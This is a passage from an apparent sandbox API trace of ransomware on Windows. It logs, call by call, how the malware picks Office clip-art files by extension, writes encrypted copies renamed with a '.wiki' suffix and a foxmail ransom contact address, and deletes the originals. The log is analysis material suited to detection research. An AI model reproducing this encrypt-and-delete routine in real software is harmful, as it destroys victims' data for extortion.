(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0195.653] lstrlenW (lpString=".dbf") returned 4 [0195.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0195.653] lstrlenW (lpString=".1cd") returned 4 [0195.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0195.653] lstrlenW (lpString=".jpg") returned 4 [0195.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0195.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0195.653] lstrlenW (lpString=".doc") returned 4 [0195.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.653] lstrlenW (lpString=".docx") returned 5 [0195.653] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.653] lstrlenW (lpString=".pdf") returned 4 [0195.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.653] lstrlenW (lpString=".xls") returned 4 [0195.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.653] lstrlenW (lpString=".xlsx") returned 5 [0195.653] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.653] lstrlenW (lpString=".ppt") returned 4 [0195.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0195.653] lstrlenW (lpString=".zip") returned 4 [0195.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.653] lstrlenW (lpString=".rar") returned 4 [0195.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.653] lstrlenW (lpString=".bz2") returned 4 [0195.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.653] lstrlenW (lpString=".7z") returned 3 [0195.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0195.654] lstrlenW (lpString=".dbf") returned 4 [0195.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0195.654] lstrlenW (lpString=".1cd") returned 4 [0195.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0195.654] lstrlenW (lpString=".jpg") returned 4 [0195.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.654] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.654] lstrlenW (lpString="J0107724.WMF") returned 12 [0195.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.654] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=7016) returned 1 [0195.981] CloseHandle (hObject=0x220) returned 1 [0195.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf")) returned 0x20 [0195.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.982] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.982] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0196.536] GetLastError () returned 0x0 [0196.536] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1b68, lpOverlapped=0x0) returned 1 [0196.538] WriteFile (in: hFile=0x1f4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1b70, lpOverlapped=0x0) returned 1 [0196.539] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.539] WriteFile (in: hFile=0x1f4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.539] SetEndOfFile (hFile=0x1f4) returned 1 [0196.539] CloseHandle (hObject=0x1f4) returned 1 [0196.539] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.539] SetEndOfFile (hFile=0x220) returned 1 [0196.540] CloseHandle (hObject=0x220) returned 1 [0196.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf")) returned 1 [0196.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0196.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0196.541] lstrlenW (lpString=".doc") returned 4 [0196.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.541] lstrlenW (lpString=".docx") returned 5 [0196.541] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0196.541] lstrlenW (lpString=".pdf") returned 4 [0196.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.541] lstrlenW (lpString=".xls") returned 4 [0196.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.541] lstrlenW (lpString=".xlsx") returned 5 [0196.541] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0196.541] lstrlenW (lpString=".ppt") returned 4 [0196.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0196.541] lstrlenW (lpString=".zip") returned 4 [0196.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.541] lstrlenW (lpString=".rar") returned 4 [0196.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.541] lstrlenW (lpString=".bz2") returned 4 [0196.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.542] lstrlenW (lpString=".7z") returned 3 [0196.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0196.542] lstrlenW (lpString=".dbf") returned 4 [0196.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0196.542] lstrlenW (lpString=".1cd") returned 4 [0196.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0196.542] lstrlenW (lpString=".jpg") returned 4 [0196.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0196.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0196.542] lstrlenW (lpString=".doc") returned 4 [0196.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.542] lstrlenW (lpString=".docx") returned 5 [0196.542] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0196.542] lstrlenW (lpString=".pdf") returned 4 [0196.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.542] lstrlenW (lpString=".xls") returned 4 [0196.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.542] lstrlenW (lpString=".xlsx") returned 5 [0196.542] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0196.542] lstrlenW (lpString=".ppt") returned 4 [0196.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0196.543] lstrlenW (lpString=".zip") returned 4 [0196.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.543] lstrlenW (lpString=".rar") returned 4 [0196.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.543] lstrlenW (lpString=".bz2") returned 4 [0196.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.543] lstrlenW (lpString=".7z") returned 3 [0196.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0196.543] lstrlenW (lpString=".dbf") returned 4 [0196.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0196.543] lstrlenW (lpString=".1cd") returned 4 [0196.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0196.543] lstrlenW (lpString=".jpg") returned 4 [0196.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.543] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0196.543] lstrlenW (lpString="J0145707.JPG") returned 12 [0196.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0196.544] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=36820) returned 1 [0196.544] CloseHandle (hObject=0x220) returned 1 [0196.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg")) returned 0x20 [0196.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0196.545] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.545] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0196.545] GetLastError () returned 0x0 [0196.545] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x8fd4, lpOverlapped=0x0) returned 1 [0196.548] WriteFile (in: hFile=0x1f4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x8fe0, lpOverlapped=0x0) returned 1 [0196.556] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.557] WriteFile (in: hFile=0x1f4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.557] SetEndOfFile (hFile=0x1f4) returned 1 [0196.557] CloseHandle (hObject=0x1f4) returned 1 [0196.557] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.557] SetEndOfFile (hFile=0x220) returned 1 [0196.558] CloseHandle (hObject=0x220) returned 1 [0196.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg")) returned 1 [0196.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0196.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0196.559] lstrlenW (lpString=".doc") returned 4 [0196.559] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.559] lstrlenW (lpString=".docx") returned 5 [0196.559] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0196.559] lstrlenW (lpString=".pdf") returned 4 [0196.559] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.559] lstrlenW (lpString=".xls") returned 4 [0196.559] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.559] lstrlenW (lpString=".xlsx") returned 5 [0196.559] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0196.559] lstrlenW (lpString=".ppt") returned 4 [0196.559] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0196.559] lstrlenW (lpString=".zip") returned 4 [0196.559] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.559] lstrlenW (lpString=".rar") returned 4 [0196.559] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.559] lstrlenW (lpString=".bz2") returned 4 [0196.559] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.559] lstrlenW (lpString=".7z") returned 3 [0196.559] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0196.560] lstrlenW (lpString=".dbf") returned 4 [0196.560] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0196.560] lstrlenW (lpString=".1cd") returned 4 [0196.560] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0196.560] lstrlenW (lpString=".jpg") returned 4 [0196.560] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0196.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0196.560] lstrlenW (lpString=".doc") returned 4 [0196.560] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.560] lstrlenW (lpString=".docx") returned 5 [0196.560] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0196.560] lstrlenW (lpString=".pdf") returned 4 [0196.560] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.560] lstrlenW (lpString=".xls") returned 4 [0196.560] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.560] lstrlenW (lpString=".xlsx") returned 5 [0196.560] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0196.560] lstrlenW (lpString=".ppt") returned 4 [0196.560] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0196.560] lstrlenW (lpString=".zip") returned 4 [0196.560] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.560] lstrlenW (lpString=".rar") returned 4 [0196.560] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.560] lstrlenW (lpString=".bz2") returned 4 [0196.560] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.561] lstrlenW (lpString=".7z") returned 3 [0196.561] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0196.561] lstrlenW (lpString=".dbf") returned 4 [0196.561] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0196.561] lstrlenW (lpString=".1cd") returned 4 [0196.561] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0196.561] lstrlenW (lpString=".jpg") returned 4 [0196.561] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.561] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0196.561] lstrlenW (lpString="J0145810.JPG") returned 12 [0196.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0196.562] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=36792) returned 1 [0196.562] CloseHandle (hObject=0x220) returned 1 [0196.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg")) returned 0x20 [0196.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0196.562] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.562] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0196.563] GetLastError () returned 0x0 [0196.563] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x8fb8, lpOverlapped=0x0) returned 1 [0196.565] WriteFile (in: hFile=0x1f4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x8fc0, lpOverlapped=0x0) returned 1 [0196.566] ReadFile (in: hFile=0x220, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.566] WriteFile (in: hFile=0x1f4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.567] SetEndOfFile (hFile=0x1f4) returned 1 [0196.567] CloseHandle (hObject=0x1f4) returned 1 [0196.567] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.567] SetEndOfFile (hFile=0x220) returned 1 [0196.568] CloseHandle (hObject=0x220) returned 1 [0196.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg")) returned 1 [0196.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0196.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0196.568] lstrlenW (lpString=".doc") returned 4 [0196.568] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.568] lstrlenW (lpString=".docx") returned 5 [0196.568] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0196.568] lstrlenW (lpString=".pdf") returned 4 [0196.568] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.569] lstrlenW (lpString=".xls") returned 4 [0196.569] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.569] lstrlenW (lpString=".xlsx") returned 5 [0196.569] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0196.569] lstrlenW (lpString=".ppt") returned 4 [0196.569] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0196.569] lstrlenW (lpString=".zip") returned 4 [0196.569] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.569] lstrlenW (lpString=".rar") returned 4 [0196.569] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.569] lstrlenW (lpString=".bz2") returned 4 [0196.569] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.569] lstrlenW (lpString=".7z") returned 3 [0196.569] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0196.569] lstrlenW (lpString=".dbf") returned 4 [0196.569] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0196.569] lstrlenW (lpString=".1cd") returned 4 [0196.569] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0196.569] lstrlenW (lpString=".jpg") returned 4 [0196.569] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0196.569] lstrlenW (lpString="C:\\Program Files\\Microsoft 